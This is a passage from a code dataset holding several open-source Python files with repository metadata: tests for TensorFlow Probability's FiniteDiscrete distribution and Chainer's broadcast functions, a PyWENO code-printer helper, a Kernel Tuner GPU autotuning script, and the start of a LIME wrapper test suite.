 def testParamTensorFromLogits(self):\n    outcomes = self._build_tensor([0.1, 0.2, 0.4])\n    x = tf.constant([-1., 0.5, 1.])\n    d = tfd.FiniteDiscrete(outcomes, logits=x, validate_args=True)\n    self.assertAllClose(\n        *self.evaluate([x, d.logits_parameter()]),\n        atol=0, rtol=1e-4)\n    self.assertAllClose(\n        *self.evaluate([tf.math.softmax(x),\n                        d.probs_parameter()]),\n        atol=0,\n        rtol=1e-4)\n\n  def testParamTensorFromProbs(self):\n    outcomes = self._build_tensor([0.1, 0.2, 0.4])\n    x = tf.constant([0.1, 0.5, 0.4])\n    d = tfd.FiniteDiscrete(outcomes, probs=x, validate_args=True)\n    self.assertAllClose(\n        *self.evaluate([tf.math.log(x), d.logits_parameter()]),\n        atol=0, rtol=1e-4)\n    self.assertAllClose(\n        *self.evaluate([x, d.probs_parameter()]),\n        atol=0, rtol=1e-4)\n\n\nclass FiniteDiscreteValidateArgsStaticShapeTest(FiniteDiscreteValidateArgsTest,\n                                                test_util.TestCase):\n  use_static_shape = True\n\n\nclass FiniteDiscreteValidateArgsDynamicShapeTest(FiniteDiscreteValidateArgsTest,\n                                                 test_util.TestCase):\n  use_static_shape = False\n\n\nclass FiniteDiscreteScalarStaticShapeTest(FiniteDiscreteScalarTest,\n                                          test_util.TestCase):\n  use_static_shape = True\n\n\nclass FiniteDiscreteScalarDynamicShapeTest(FiniteDiscreteScalarTest,\n                                           test_util.TestCase):\n  use_static_shape = False\n\n\nclass FiniteDiscreteVectorStaticShapeTest(FiniteDiscreteVectorTest,\n                                          test_util.TestCase):\n  use_static_shape = True\n\n\nclass FiniteDiscreteVectorDynamicShapeTest(FiniteDiscreteVectorTest,\n                                           test_util.TestCase):\n  use_static_shape = False\n\n\n@test_util.test_all_tf_execution_regimes\nclass FiniteDiscreteFromVariableTest(test_util.TestCase):\n\n  def testAssertionLastDimensionOfOutcomesAndLogits(self):\n    x = tf.Variable([0., -1., -2., -3.])\n    with self.assertRaisesRegexp(\n        ValueError,\n        'Last dimension of outcomes and logits must be equal size.'):\n      d = tfd.FiniteDiscrete([1., 2., 4.], logits=x, validate_args=True)\n      self.evaluate([v.initializer for v in d.variables])\n      self.evaluate(d.mean())\n\n  def testAssertionLastDimensionOfOutcomesAndProbs(self):\n    x = tf.Variable([0.1, 0.4, 0.3, 0.2])\n    with self.assertRaisesRegexp(\n        ValueError, 'Last dimension of outcomes and probs must be equal size.'):\n      d = tfd.FiniteDiscrete([1., 2., 4.], probs=x, validate_args=True)\n      self.evaluate([v.initializer for v in d.variables])\n      self.evaluate(d.mean())\n\n  def testAssertionOutcomesRanks(self):\n    x = tf.Variable([0.1, 0.4, 0.3, 0.2])\n    with self.assertRaisesRegexp(ValueError, 'Rank of outcomes must be 1.'):\n      d = tfd.FiniteDiscrete([[1., 2., 3., 4.], [5., 6., 7., 8.]],\n                             probs=x, validate_args=True)\n      self.evaluate([v.initializer for v in d.variables])\n      self.evaluate(d.mean())\n\n  def testAssertionOutcomesSize(self):\n    x = tf.Variable([])\n    with self.assertRaisesRegexp(\n        ValueError, 'Size of outcomes must be greater than 0.'):\n      d = tfd.FiniteDiscrete(tf.zeros([0], tf.float32),\n                             probs=x, validate_args=True)\n      self.evaluate([v.initializer for v in d.variables])\n      self.evaluate(d.mean())\n\n  def testAssertionOutcomesStrictlyIncreasing(self):\n    x = tf.Variable([0.1, 0.4, 0.3, 0.2])\n    with self.assertRaises(Exception):\n      d = tfd.FiniteDiscrete([1., 4., 3., 8.], probs=x, validate_args=True)\n      self.evaluate([v.initializer for v in d.variables])\n      self.evaluate(d.mean())\n\n\nif __name__ == '__main__':\n  tf.test.main()\n", "meta": {"hexsha": "312428625b1ff560fe2e227467d9c18f65271217", "size": 18446, "ext": "py", "lang": "Python", "max_stars_repo_path": "tensorflow_probability/python/distributions/finite_discrete_test.py", "max_stars_repo_name": "nbro/probability", "max_stars_repo_head_hexsha": "07a6378155f0ed720b5aaccf5387e3f9a432bd10", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tensorflow_probability/python/distributions/finite_discrete_test.py", "max_issues_repo_name": "nbro/probability", "max_issues_repo_head_hexsha": "07a6378155f0ed720b5aaccf5387e3f9a432bd10", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tensorflow_probability/python/distributions/finite_discrete_test.py", "max_forks_repo_name": "nbro/probability", "max_forks_repo_head_hexsha": "07a6378155f0ed720b5aaccf5387e3f9a432bd10", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.9264069264, "max_line_length": 81, "alphanum_fraction": 0.6475116556, "include": true, "reason": "import numpy", "num_tokens": 5716, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1023047126824018, "lm_q1q2_score": 0.05035316581060297}}
{"text": "import unittest\n\nimport numpy\n\nimport chainer\nfrom chainer import cuda\nfrom chainer import functions\nfrom chainer import gradient_check\nfrom chainer import testing\nfrom chainer.testing import attr\nfrom chainer.testing import condition\nfrom chainer.utils import type_check\n\n\n@testing.parameterize(*testing.product_dict(\n    [\n        {'in_shapes': [(3, 1, 5), (1, 2, 5)], 'out_shape': (3, 2, 5)},\n        {'in_shapes': [(3, 2, 5), (5,)], 'out_shape': (3, 2, 5)},\n        {'in_shapes': [(3, 2, 5), ()], 'out_shape': (3, 2, 5)},\n        {'in_shapes': [(3, 2, 5), (3, 2, 5)], 'out_shape': (3, 2, 5)},\n        {'in_shapes': [(), ()], 'out_shape': ()},\n        {'in_shapes': [(1, 1, 1), (1,)], 'out_shape': (1, 1, 1)},\n        {'in_shapes': [(1, 1, 1), ()], 'out_shape': (1, 1, 1)},\n        {'in_shapes': [(3, 2, 5)], 'out_shape': (3, 2, 5)},\n        {'in_shapes': [(3, 1, 5), (1, 2, 5), (3, 2, 1)],\n         'out_shape': (3, 2, 5)},\n    ],\n    [\n        {'dtype': numpy.float16},\n        {'dtype': numpy.float32},\n        {'dtype': numpy.float64},\n    ],\n))\nclass TestBroadcast(unittest.TestCase):\n\n    def setUp(self):\n        uniform = numpy.random.uniform\n        self.data = [uniform(0, 1, shape).astype(self.dtype)\n                     for shape in self.in_shapes]\n        self.grads = [uniform(0, 1, self.out_shape).astype(self.dtype)\n                      for _ in range(len(self.in_shapes))]\n\n        self.check_backward_options = {}\n        if self.dtype == numpy.float16:\n            self.check_backward_options = {\n                'eps': 2 ** -5, 'atol': 1e-3, 'rtol': 1e-2}\n\n    def check_forward(self, data):\n        xs = [chainer.Variable(x) for x in data]\n        bxs = functions.broadcast(*xs)\n\n        # When len(xs) == 1, function returns a Variable object\n        if isinstance(bxs, chainer.Variable):\n            bxs = (bxs,)\n\n        for bx in bxs:\n            self.assertEqual(bx.data.shape, self.out_shape)\n            self.assertEqual(bx.data.dtype, self.dtype)\n\n    def test_forward_cpu(self):\n        self.check_forward(self.data)\n\n    @attr.gpu\n    def test_forward_gpu(self):\n        self.check_forward([cuda.to_gpu(x) for x in self.data])\n\n    def check_backward(self, data, grads):\n        gradient_check.check_backward(\n            functions.Broadcast(), data, grads,\n            **self.check_backward_options)\n\n    @condition.retry(3)\n    def test_backward_cpu(self):\n        self.check_backward(self.data, self.grads)\n\n    @attr.gpu\n    @condition.retry(3)\n    def test_backward_gpu(self):\n        self.check_backward([cuda.to_gpu(x) for x in self.data],\n                            [cuda.to_gpu(x) for x in self.grads])\n\n\nclass TestBroadcastTypeError(unittest.TestCase):\n\n    def test_invalid_shape(self):\n        x_data = numpy.zeros((3, 2, 5), dtype=numpy.int32)\n        y_data = numpy.zeros((1, 3, 4), dtype=numpy.float32)\n        x = chainer.Variable(x_data)\n        y = chainer.Variable(y_data)\n\n        with self.assertRaises(type_check.InvalidType):\n            functions.broadcast(x, y)\n\n    def test_invalid_shape_fill(self):\n        x_data = numpy.zeros((3, 2, 5), dtype=numpy.int32)\n        y_data = numpy.zeros(4, dtype=numpy.float32)\n        x = chainer.Variable(x_data)\n        y = chainer.Variable(y_data)\n\n        with self.assertRaises(type_check.InvalidType):\n            functions.broadcast(x, y)\n\n    def test_no_args(self):\n        with self.assertRaises(type_check.InvalidType):\n            functions.broadcast()\n\n\n@testing.parameterize(*testing.product_dict(\n    [\n        {'in_shape': (3, 1, 5), 'out_shape': (3, 2, 5)},\n        {'in_shape': (5,), 'out_shape': (3, 2, 5)},\n        {'in_shape': (3, 2, 5), 'out_shape': (3, 2, 5)},\n    ],\n    [\n        {'dtype': numpy.float16},\n        {'dtype': numpy.float32},\n        {'dtype': numpy.float64},\n    ],\n))\nclass TestBroadcastTo(unittest.TestCase):\n\n    def setUp(self):\n        uniform = numpy.random.uniform\n        self.data = uniform(0, 1, self.in_shape).astype(self.dtype)\n        self.grad = uniform(0, 1, self.out_shape).astype(self.dtype)\n        self.check_backward_options = {}\n        if self.dtype == numpy.float16:\n            self.check_backward_options = {\n                'eps': 2 ** -5, 'atol': 1e-3, 'rtol': 1e-2}\n\n    def check_forward(self, data):\n        x = chainer.Variable(data)\n        bx = functions.broadcast_to(x, self.out_shape)\n\n        self.assertEqual(bx.data.shape, self.out_shape)\n\n    def test_forward_cpu(self):\n        self.check_forward(self.data)\n\n    @attr.gpu\n    def test_forward_gpu(self):\n        self.check_forward(cuda.to_gpu(self.data))\n\n    @condition.retry(3)\n    def check_backward(self, data, grads):\n        gradient_check.check_backward(\n            functions.BroadcastTo(self.out_shape), data, grads,\n            **self.check_backward_options)\n\n    @condition.retry(3)\n    def test_backward_cpu(self):\n        self.check_backward(self.data, self.grad)\n\n    @attr.gpu\n    def test_backward_gpu(self):\n        self.check_backward(cuda.to_gpu(self.data), cuda.to_gpu(self.grad))\n\n\n@testing.parameterize(\n    {'in_shape': (3, 2, 5), 'out_shape': (5,)},\n    {'in_shape': (3, 2, 5), 'out_shape': (3, 1, 5)},\n    {'in_shape': (3, 2, 5), 'out_shape': (1, 3, 2, 3)},\n)\nclass TestBroadcastToTypeCheck(unittest.TestCase):\n\n    def setUp(self):\n        uniform = numpy.random.uniform\n        self.data = uniform(0, 1, self.in_shape).astype(numpy.float32)\n\n    def test_type_check(self):\n        x = chainer.Variable(self.data)\n        with self.assertRaises(type_check.InvalidType):\n            functions.broadcast_to(x, self.out_shape)\n\n\ntesting.run_module(__name__, __file__)\n", "meta": {"hexsha": "76f3c5f03bbd21f51651a75ac3d8229ce325c27a", "size": 5621, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/chainer_tests/functions_tests/array_tests/test_broadcast.py", "max_stars_repo_name": "Teppei-Kanayama/myChainer", "max_stars_repo_head_hexsha": "6ffbfd8479768ca8b580c98788c5b1ba1fd3aee8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/chainer_tests/functions_tests/array_tests/test_broadcast.py", "max_issues_repo_name": "Teppei-Kanayama/myChainer", "max_issues_repo_head_hexsha": "6ffbfd8479768ca8b580c98788c5b1ba1fd3aee8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/chainer_tests/functions_tests/array_tests/test_broadcast.py", "max_forks_repo_name": "Teppei-Kanayama/myChainer", "max_forks_repo_head_hexsha": "6ffbfd8479768ca8b580c98788c5b1ba1fd3aee8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.7570621469, "max_line_length": 75, "alphanum_fraction": 0.5938445117, "include": true, "reason": "import numpy", "num_tokens": 1506, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.10230471199815196, "lm_q1q2_score": 0.05035316547382331}}
{"text": "\"\"\"PyWENO code generation helpers.\"\"\"\n\nfrom sympy.printing.fcode import FCodePrinter as SympyFCodePrinter\nfrom sympy.printing.ccode import CCodePrinter as SympyCCodePrinter\nfrom sympy.printing.precedence import precedence\n\n\nclass FCodePrinter(SympyFCodePrinter):\n  pass\n\nclass CCodePrinter(SympyCCodePrinter):\n  def _print_Pow(self, expr):\n    if expr.exp == 2:\n      PREC = precedence(expr)\n      s = str(self.parenthesize(expr.base, PREC))\n      return '%s*%s' % (s,s)\n    else:\n      return super(CCodePrinter,self)._print_Pow(expr)\n", "meta": {"hexsha": "4d194acec93a9da427cd53769c190aecc7f5d295", "size": 536, "ext": "py", "lang": "Python", "max_stars_repo_path": "pyweno/codeprinters.py", "max_stars_repo_name": "alexfikl/PyWENO", "max_stars_repo_head_hexsha": "224fe7459f00578728b151531367c67c62f57c2b", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-21T07:10:53.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-21T07:10:53.000Z", "max_issues_repo_path": "pyweno/codeprinters.py", "max_issues_repo_name": "alexfikl/PyWENO", "max_issues_repo_head_hexsha": "224fe7459f00578728b151531367c67c62f57c2b", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pyweno/codeprinters.py", "max_forks_repo_name": "alexfikl/PyWENO", "max_forks_repo_head_hexsha": "224fe7459f00578728b151531367c67c62f57c2b", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2017-12-19T18:04:06.000Z", "max_forks_repo_forks_event_max_datetime": "2017-12-19T18:04:06.000Z", "avg_line_length": 28.2105263158, "max_line_length": 66, "alphanum_fraction": 0.7388059701, "include": true, "reason": "from sympy", "num_tokens": 152, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.10230470652415342, "lm_q1q2_score": 0.05035316277958619}}
{"text": "#!/usr/bin/env python\nimport sys\nfrom collections import OrderedDict\nimport json\nimport numpy as np\n\nfrom kernel_tuner import tune_kernel\nfrom kernel_tuner.observers import BenchmarkObserver\nfrom kernel_tuner.nvml import NVMLObserver\n\n\ndef tune(device_name, strategy=\"bayes_opt_GPyTorch_lean\", strategy_options=None, verbose=True, quiet=False, simulation_mode=True):\n\n    #setup tuning parameters\n    tune_params = OrderedDict()\n    tune_params[\"block_size_x\"] = [2**i for i in range(8, 11)][::-1]    # 5\n    tune_params[\"block_size_y\"] = [2**i for i in range(6)]\n    tune_params[\"tile_size_x\"] = [1, 2, 3, 4, 5, 6, 7, 8]\n    tune_params[\"tile_size_y\"] = [1, 2, 3, 4, 5, 6, 7, 8]\n    tune_params[\"use_shared_mem\"] = [1]\n    tune_params[\"loop_unroll_factor_x\"] = [1, 2, 3, 4, 5, 6, 7, 8]\n    tune_params[\"loop_unroll_factor_y\"] = [1, 2, 3, 4, 5, 6, 7, 8]\n    tune_params[\"use_column\"] = [1]\n    tune_params[\"use_separate_acc\"] = [0]\n    tune_params[\"n_y_blocks\"] = [2**i for i in range(6)]\n\n    def config_valid(p):\n        if p[\"loop_unroll_factor_x\"] > p[\"tile_size_x\"] or (p[\"loop_unroll_factor_x\"] and p[\"tile_size_x\"] % p[\"loop_unroll_factor_x\"] != 0):\n            return False    #no need to test this loop unroll factor, as it is the same as not unrolling the loop\n        if p[\"loop_unroll_factor_y\"] > p[\"tile_size_y\"] or (p[\"loop_unroll_factor_y\"] and p[\"tile_size_y\"] % p[\"loop_unroll_factor_y\"] != 0):\n            return False    #no need to test this loop unroll factor, as it is the same as not unrolling the loop\n        return True\n\n    restrictions = config_valid\n\n    #setup test input\n    alloc_size = 32 * 1024\n    size = np.int32(32 * 1024)\n    max_blocks = np.int32(np.ceil(size / float(np.amin(tune_params[\"block_size_x\"]))) * np.ceil(size / float(np.amin(tune_params[\"block_size_y\"]))))\n    ndim = np.int32(2)\n    A = np.random.randn(alloc_size * ndim).astype(np.float64)\n    B = A + 0.00001 * np.random.randn(alloc_size * ndim).astype(np.float64)\n    scale_A = np.absolute(0.01 * np.random.randn(alloc_size).astype(np.float64))\n    scale_B = np.absolute(0.01 * np.random.randn(alloc_size).astype(np.float64))\n    cost = np.zeros((max_blocks)).astype(np.float64)\n\n    #setup kernel\n    kernel_name = \"ExpDist\"\n    arguments = [A, B, size, size, scale_A, scale_B, cost]\n    grid_div_x = [\"block_size_x\", \"tile_size_x\"]\n    grid_div_y = [\"block_size_y\", \"tile_size_y\"]\n\n    #get number of registers\n    class RegisterObserver(BenchmarkObserver):\n\n        def get_results(self):\n            return {\n                \"num_regs\": self.dev.current_module.get_function(kernel_name).num_regs\n            }\n\n    problem_size = lambda p: (size, size if p[\"use_column\"] == 0 else p[\"n_y_blocks\"] * p[\"block_size_y\"] * p[\"tile_size_y\"])\n\n    metrics = OrderedDict()\n    metrics[\"registers\"] = lambda p: p[\"num_regs\"]\n    metrics[\"clock\"] = lambda p: p[\"core_freq\"]\n\n    def FLOPs_in_partial_reduction(p):\n        num_thread_blocks = np.ceil(size / (p[\"block_size_x\"] * p[\"tile_size_x\"])) * np.ceil(size / (p[\"block_size_y\"] * p[\"tile_size_y\"]))\n        ops_per_thread_block = p[\"block_size_x\"] * p[\n            \"block_size_y\"] / 32 * 31 + 31    #minimal number of ops per warp times number of warps + #ops for 1 final warp\n        return num_thread_blocks * ops_per_thread_block\n\n    ops_per_iteration = 35    #from Nsight profiler\n    metrics[\"GFLOP/s\"] = lambda p: ((FLOPs_in_partial_reduction(p) + ops_per_iteration * size * size) / 1e9) / (p[\"time\"] / 1e3)\n\n    cp = []\n\n    kernel1, env = tune_kernel(kernel_name, \"expdist.cu\", problem_size, arguments, tune_params, grid_div_x=grid_div_x, grid_div_y=grid_div_y, metrics=metrics,\n                               iterations=32, compiler_options=cp, cache=\"cache_files/expdist_\" + device_name + \"_processed\", restrictions=restrictions,\n                               strategy=strategy, strategy_options=strategy_options, simulation_mode=simulation_mode, verbose=verbose, quiet=quiet)\n    return kernel1, env\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 2:\n        print(\"Usage: ./expdist.py [device name]\")\n        exit(1)\n\n    device_name = sys.argv[1]\n\n    tune(device_name)\n", "meta": {"hexsha": "cd699433425f301be69da23b1b8c89fa15d552bb", "size": 4147, "ext": "py", "lang": "Python", "max_stars_repo_path": "cached_data_used/expdist.py", "max_stars_repo_name": "fjwillemsen/BayesianOptimization-autotuning", "max_stars_repo_head_hexsha": "9af48014079a98e05324cb9d67cb8660aaf26c28", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-25T22:11:48.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-25T22:11:48.000Z", "max_issues_repo_path": "cached_data_used/expdist.py", "max_issues_repo_name": "fjwillemsen/BayesianOptimization-autotuning", "max_issues_repo_head_hexsha": "9af48014079a98e05324cb9d67cb8660aaf26c28", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "cached_data_used/expdist.py", "max_forks_repo_name": "fjwillemsen/BayesianOptimization-autotuning", "max_forks_repo_head_hexsha": "9af48014079a98e05324cb9d67cb8660aaf26c28", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.0760869565, "max_line_length": 158, "alphanum_fraction": 0.6636122498, "include": true, "reason": "import numpy", "num_tokens": 1208, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.10230470378715424, "lm_q1q2_score": 0.05035316143246766}}
{"text": "\"\"\"\nTests the LIME wrapper.\n\"\"\"\n# Author: Alex Hepburn <ah13558@bristol.ac.uk>\n#         Kacper Sokol <k.sokol@bristol.ac.uk>\n# License: new BSD\n\nimport pytest\n\ntry:\n    import lime\nexcept ImportError:  # pragma: no cover\n    pytest.skip(\n        'Skipping lime wrapper tests -- lime missing.',\n        allow_module_level=True)\nelse:\n    del lime\n\nimport importlib\nimport sys\n\nimport numpy as np\n\nimport fatf.transparency.lime as ftl\nimport fatf.utils.models as fum\nimport fatf.utils.testing.imports as futi\nimport fatf.utils.testing.transparency as futt\n\nfrom fatf.exceptions import IncompatibleModelError, IncorrectShapeError\n\n# yapf: disable\nFUTURE_WARNING = (\n    'The LIME wrapper will be deprecated in FAT Forensics version '\n    '0.0.3. Please consider using the TabularBlimeyLime explainer '\n    'class implemented in the fatf.transparency.predictions.'\n    'surrogate_explainers module instead. Alternatively, you may '\n    'consider building a custom surrogate explainer using the '\n    'functionality implemented in FAT Forensics -- see the *Tabular '\n    'Surrogates* how-to guide for more details.')\n\nSAMPLE = np.array([0, 1, 0.08, 0.54])\nSAMPLE_STRUCT = np.array(\n    [(0, 1, 0.08, 0.54)],\n    dtype=[('a', 'i'), ('b', 'i'), ('c', 'f'), ('d', 'f')])[0]\nCLF = fum.KNN()\nCLF.fit(futt.NUMERICAL_NP_ARRAY, futt.LABELS)\nCLASS_NAMES = ['class0', 'class1', 'class2']\nFEATURE_NAMES = ['feat0', 'feat1', 'feat2', 'feat3']\n\nNUMERICAL_RESULTS = {\n    'class0': [('feat0 <= 0.00', -0.415),\n               ('0.50 < feat1 <= 1.00', -0.280),\n               ('0.07 < feat2 <= 0.22', 0.037),\n               ('0.34 < feat3 <= 0.58', -0.007)],\n    'class1': [('0.50 < feat1 <= 1.00', 0.202),\n               ('0.07 < feat2 <= 0.22', -0.076),\n               ('feat0 <= 0.00', 0.019),\n               ('0.34 < feat3 <= 0.58', -0.018)],\n    'class2': [('feat0 <= 0.00', 0.395),\n               ('0.50 < feat1 <= 1.00', 0.077),\n               ('0.07 < feat2 <= 0.22', 0.039),\n               ('0.34 < feat3 <= 0.58', 0.025)]\n}\nCATEGORICAL_RESULTS = {\n    'class0': [('feat0=0', -0.413),\n               ('feat1=1', -0.282),\n               ('0.07 < feat2 <= 0.22', 0.0366),\n               ('0.34 < feat3 <= 0.58', -0.00717)],\n    'class1': [('feat1=1', 0.2048),\n               ('0.07 < feat2 <= 0.22', -0.0767),\n               ('feat0=0', 0.0179),\n               ('0.34 < feat3 <= 0.58', -0.018)],\n    'class2': [('feat0=0', 0.395),\n               ('feat1=1', 0.077),\n               ('0.07 < feat2 <= 0.22', 0.039),\n               ('0.34 < feat3 <= 0.58', 0.025)]\n}\nREGRESSION_RESULTS = [\n    ('feat0 <= 0.00', 1.332),\n    ('0.50 < feat1 <= 1.00', 0.767),\n    ('0.34 < feat3 <= 0.58', 0.149),\n    ('0.07 < feat2 <= 0.22', -0.048)\n]\n# yapf: enable\n\nUSER_WARNING_MODEL_PRED = ('Since both, a model and a predictive function, '\n                           'are provided only the latter will be used.')\nLOG_WARNING = 'The model can only be used for LIME in a regressor mode.'\n\nCLF_NON_PROBA = futt.NonProbabilisticModel(CLF.predict)\n\n\ndef test_import_when_missing():\n    \"\"\"\n    Tests importing :mod:`fatf.transparency.lime` module when LIME is missing.\n    \"\"\"\n    assert 'fatf.transparency.lime' in sys.modules\n    warning_msg = (\n        'Lime package is not installed on your system. You must install it in '\n        'order to use the fatf.transparency.lime module. One possibility is '\n        'to install LIME alongside this package with: pip install fatf[lime].')\n    with futi.module_import_tester('lime', when_missing=True):\n        with pytest.warns(ImportWarning) as w:\n            importlib.reload(ftl)\n        assert len(w) == 1\n        assert str(w[0].message) == warning_msg\n    assert 'fatf.transparency.lime' in sys.modules\n\n\ndef test_lime_init():\n    \"\"\"\n    Tests :mod:`fatf.transparency.lime.Lime` object initialisation.\n\n    This only looks into cases where the initialisation would fail.\n    \"\"\"\n    attribute_error = 'The following named parameters are not valid: {}.'\n    shape_error_data = ('The data parameter must be a 2-dimensional numpy '\n                        'array.')\n    value_error_cat = 'LIME does not support non-numerical data arrays.'\n    value_error = (\"The mode must be either 'classification' or 'regression'. \"\n                   \"'{}' given.\")\n    incompatible_model_error = ('LIME requires a model object to have a fit '\n                                'method and optionally a predict_proba '\n                                'method.')\n    type_error_predictor = ('The predict_fn parameter is not callable -- it '\n                            'has to be a function.')\n    type_error_struct_indices = ('The categorical_features parameter either '\n                                 'has to be a list, a numpy array or None.')\n    incorrect_shape_struct_indices = ('categorical_features array/list is not '\n                                      '1-dimensional.')\n    value_error_struct_indices = ('Since categorical_features is an array of '\n                                  'indices for a structured array, all of its '\n                                  'elements should be strings.')\n    value_error_struct_incorrect_indices = (\n        'Indices given in the categorical_features parameter are not valid '\n        'for the input data array.')\n    #\n    attribute_error_explain = ('The following named parameters are not valid: '\n                               '{}.')\n    incorrect_shape_error_explain = ('The instance to be explained should be '\n                                     '1-dimensional.')\n    value_error_explain = ('The instance to be explained should be purely '\n                           'numerical -- LIME does not support categorical '\n                           'features.')\n\n    # Wrong named parameter\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(AttributeError) as exin:\n            ftl.Lime(futt.NUMERICAL_NP_ARRAY, model=CLF, lorem='ipsum')\n        assert str(exin.value) == attribute_error.format(\"{'lorem'}\")\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # Not a 2-dimensional array\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(IncorrectShapeError) as exin:\n            ftl.Lime(np.ones((6, 4, 4)))\n        assert str(exin.value) == shape_error_data\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # Not a numerical array\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(ValueError) as exin:\n            lime = ftl.Lime(np.ones((6, 4), dtype='U1'))\n        assert str(exin.value) == value_error_cat\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # A structured data array with weird categorical indices type\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(TypeError) as exin:\n            ftl.Lime(futt.NUMERICAL_STRUCT_ARRAY, categorical_features='')\n        assert str(exin.value) == type_error_struct_indices\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # A structured data array with weird categorical indices shape\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(IncorrectShapeError) as exin:\n            ftl.Lime(futt.NUMERICAL_STRUCT_ARRAY, categorical_features=[['a']])\n        assert str(exin.value) == incorrect_shape_struct_indices\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # A structured data array with non-textual categorical indices\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(ValueError) as exin:\n            ftl.Lime(\n                futt.NUMERICAL_STRUCT_ARRAY,\n                categorical_features=np.array([3, 2]))\n        assert str(exin.value) == value_error_struct_indices\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # A structured data array with incorrect categorical indices\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(ValueError) as exin:\n            ftl.Lime(\n                futt.NUMERICAL_STRUCT_ARRAY,\n                categorical_features=['a', 'e', 'b'])\n        assert str(exin.value) == value_error_struct_incorrect_indices\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # Wrong operation mode\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(ValueError) as exin:\n            ftl.Lime(futt.NUMERICAL_NP_ARRAY, mode='c')\n        assert str(exin.value) == value_error.format('c')\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # Invalid model\n    invalid_model = futt.InvalidModel()\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(IncompatibleModelError) as exin:\n            ftl.Lime(\n                futt.NUMERICAL_NP_ARRAY,\n                model=invalid_model,\n                mode='classification')\n        assert str(exin.value) == incompatible_model_error\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(IncompatibleModelError) as exin:\n            ftl.Lime(futt.NUMERICAL_NP_ARRAY, model='a', mode='classification')\n        assert str(exin.value) == incompatible_model_error\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # Invalid predictive function\n    with pytest.warns(FutureWarning) as warning:\n        with pytest.raises(TypeError) as exin:\n            ftl.Lime(\n                futt.NUMERICAL_NP_ARRAY, predict_fn='a', mode='regression')\n        assert str(exin.value) == type_error_predictor\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    ###########################################################################\n    # Test explain_instance for exceptions and errors\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(futt.NUMERICAL_NP_ARRAY)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n\n    # Incorrect parameter\n    with pytest.raises(AttributeError) as exin:\n        lime.explain_instance(SAMPLE, weird_named_argument='yes')\n    assert str(exin.value) == attribute_error_explain.format(\n        \"{'weird_named_argument'}\")\n\n    # Incorrect shape\n    with pytest.raises(IncorrectShapeError) as exin:\n        lime.explain_instance(futt.NUMERICAL_STRUCT_ARRAY)\n    assert str(exin.value) == incorrect_shape_error_explain\n\n    # Not 